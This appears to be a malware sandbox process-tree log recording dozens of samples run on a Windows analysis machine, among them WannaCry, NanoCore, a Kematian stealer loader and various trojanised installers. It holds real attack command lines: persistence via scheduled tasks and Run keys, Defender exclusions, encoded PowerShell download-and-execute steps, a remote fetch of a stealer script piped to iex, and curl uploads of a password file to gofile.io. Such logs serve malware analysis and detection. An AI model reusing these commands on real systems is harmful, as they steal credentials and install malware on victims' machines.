C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0005⤵
- Power Settings
-
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\SysWOW64\powercfg.exePowercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0006⤵
- Power Settings
-
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i UVSODSAE.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe tun.hta3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i AUHAVKIQ.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe"C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%A2%A6%E5%B9%BB%E9%AD%94%E7%95%8C%E7%94%B5%E8%84%91%E7%AB%AF.exe" Admin5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe"C:\Users\Admin\AppData\Local\Temp\a\._cache_%E6%83%85%E6%84%BF%E6%80%80%E6%97%A7.exe" Admin5⤵
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\a\._cache_Synaptics.exe" InjUpdate5⤵
-
C:\Users\Admin\AppData\Local\Temp\a\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\a\._cache_Synaptics.exe" Admin6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\%e6%80%80%e6%97%a7%e8%af%9b%e4%bb%99.exe%e6%80%80%e6%97%a7%e8%af%9b%e4%bb%99.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%e6%80%80%e6%97%a7%e8%af%9b%e4%bb%99.exe"C:\Users\Admin\AppData\Local\Temp\a\%e6%80%80%e6%97%a7%e8%af%9b%e4%bb%99.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\csrss.execsrss.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PSBBmYYA.exePSBBmYYA.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\c1i.exec1i.exe3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exeC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\v1d.exev1d.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cr.execr.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\01.exe01.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\delfino-g3.exedelfino-g3.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-M6II9.tmp\delfino-g3.tmp"C:\Users\Admin\AppData\Local\Temp\is-M6II9.tmp\delfino-g3.tmp" /SL5="$10D6E,30692187,121344,C:\Users\Admin\AppData\Local\Temp\a\delfino-g3.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Receipt_11_26_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingAgent" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe\"" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingService" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe\" /boot" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe3⤵
-
C:\Windows\SysWOW64\sc.exesc stop SoftUpdateSrv4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc delete SoftUpdateSrv4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im winManager.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im FLMgrUpdate.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im FLMgrTray.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\sc.exesc CREATE SoftUpdateSrv type= own start= auto DisplayName= "Software Update Event Notification Service" binPath= "C:\Users\Admin\AppData\Local\winManager\FLServer.exe"4⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc description SoftUpdateSrv "为软件提供基础更新服务"4⤵
- Launches sc.exe
-
-
C:\Users\Admin\Desktop\QiMiaoSetup.4.0.1.7.exeC:\Users\Admin\Desktop\QiMiaoSetup.4.0.1.7.exe4⤵
-
-
C:\Users\Admin\AppData\Local\winManager\FLMgrTray.exeC:\Users\Admin\AppData\Local\winManager\FLMgrTray.exe4⤵
-
-
C:\Windows\SysWOW64\sc.exesc start SoftUpdateSrv4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exeAvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File rs.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe user_c.vbs3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\guide.txt"4⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/Setup.msi' -OutFile 'C:\Users\Public\Setup.msi'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\37cqsj.exe37cqsj.exe3⤵
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc4⤵
-
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /autorun /setuprun4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Auo1.exeAuo1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\pk.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\pk.exe" EdmsLauncher4⤵
-
-
C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\EdmsLauncher.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EDMSLauncher\EdmsLauncher.exe"4⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show sslCert ipport =0.0.0.0:150025⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exeDowOnline.Installer.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8J0SV.tmp\DowOnline.Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-8J0SV.tmp\DowOnline.Installer.tmp" /SL5="$2101C,13495130,780800,C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5y0ow0kv\5y0ow0kv.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES227F.tmp" "c:\Users\Admin\AppData\Local\Temp\5y0ow0kv\CSCAC37F01B2FF14E8C98AAB674AD9D58C.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exeInstaller_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Microsoftbs.exeMicrosoftbs.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ksv.exeksv.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\ksv.exeksv.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\fo-wsftp605.exefo-wsftp605.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pieletJF.exepieletJF.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\ClipAid-Pro.exeClipAid-Pro.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pieletJF_vm.exepieletJF_vm.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\x64-setup.exex64-setup.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\haozip_v6.5.2.11245.exehaozip_v6.5.2.11245.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mvc3.exemvc3.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\mvc3.exemvc3.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\haozip.100021.exehaozip.100021.exe3⤵
-
C:\Program Files (x86)\HaoZip\HaoZipLoader.exe"C:\Program Files (x86)\HaoZip\HaoZipLoader.exe" -install02 0 74⤵
-
C:\Program Files (x86)\HaoZip\HaoZipLoader64.exe"C:\Program Files (x86)\HaoZip\HaoZipLoader64.exe" -reg5⤵
-
-
-
C:\Program Files (x86)\HaoZip\HaoZipLoader.exe"C:\Program Files (x86)\HaoZip\HaoZipLoader.exe" -statistics ;;K054⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cd4.execd4.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cd4.execd4.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol11.exelol11.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Helped.wks4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tlp.exetlp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe1488.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe"C:\Users\Admin\AppData\Local\Temp\a\1488.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\G7_Update.exeG7_Update.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\GMT\UpdateDIr\G7_Update_240401\install.bat" "4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1210.exe1210.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rickroll.exerickroll.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c main.bat3⤵
-
C:\Windows\system32\net.exenet session4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\system32\mshta.exemshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol.exelol.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rxd_en_1.exerxd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\REXCEL~1.EXE4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c Worm.bat3⤵
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exeWannaCry.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 296371775519452.bat4⤵
-
C:\Windows\SysWOW64\cscript.execscript //nologo c.vbs5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\!WannaDecryptor!.exe!WannaDecryptor!.exe f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\test.exetest.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
-
C:\Windows\system32\cmd.execmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bvit17/mh1/raw/main/MH1-T1.png' -OutFile 'C:\Users\Admin\AppData\Local\Temp\t3.bat'; Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\t3.bat' -WindowStyle Hidden"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bvit17/mh1/raw/main/MH1-T1.png' -OutFile 'C:\Users\Admin\AppData\Local\Temp\t3.bat'; Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\t3.bat' -WindowStyle Hidden5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\better.exebetter.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com4⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bsg.exebsg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittie.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittieobf.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\riende.exeriende.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NPS.exeNPS.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rod_en_1.exerod_en_1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PDFConverter_P2W154-zx-666.exePDFConverter_P2W154-zx-666.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\services.exeservices.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bmw_v1.7.exebmw_v1.7.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\yx_dts.exeyx_dts.exe3⤵
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" SW_SHOWNORMAL4⤵
-
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /autorun /setuprun4⤵
-
-
C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe"C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /setupsucc4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exeVC_redist.x64.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rmd_en_1.exermd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\setup.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\setup.exe /PARENT-INST4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\GARO%20X.exeGARO%20X.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E6%98%9F%E7%A9%BA%E9%AD%94%E5%9F%9F.exe%E6%98%9F%E7%A9%BA%E9%AD%94%E5%9F%9F.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\%E6%98%9F%E7%A9%BA%E9%AD%94%E5%9F%9F.exe"C:\Users\Admin\AppData\Local\Temp\a\%E6%98%9F%E7%A9%BA%E9%AD%94%E5%9F%9F.exe" Admin4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ClassTicket.exeClassTicket.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sgn.exesgn.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File networke.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\mely.exemely.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBcAG0AZQBsAHkALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBcAG0AZQBsAHkALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AZQBtAGIAZQByAE4AYQBtAGUALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBlAG0AYgBlAHIATgBhAG0AZQAuAGUAeABlAA==4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol1.exelol1.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Promoted.wp54⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\yc.exeyc.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File trapapO.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\pe2shc.exepe2shc.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\Brontok.exeBrontok.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
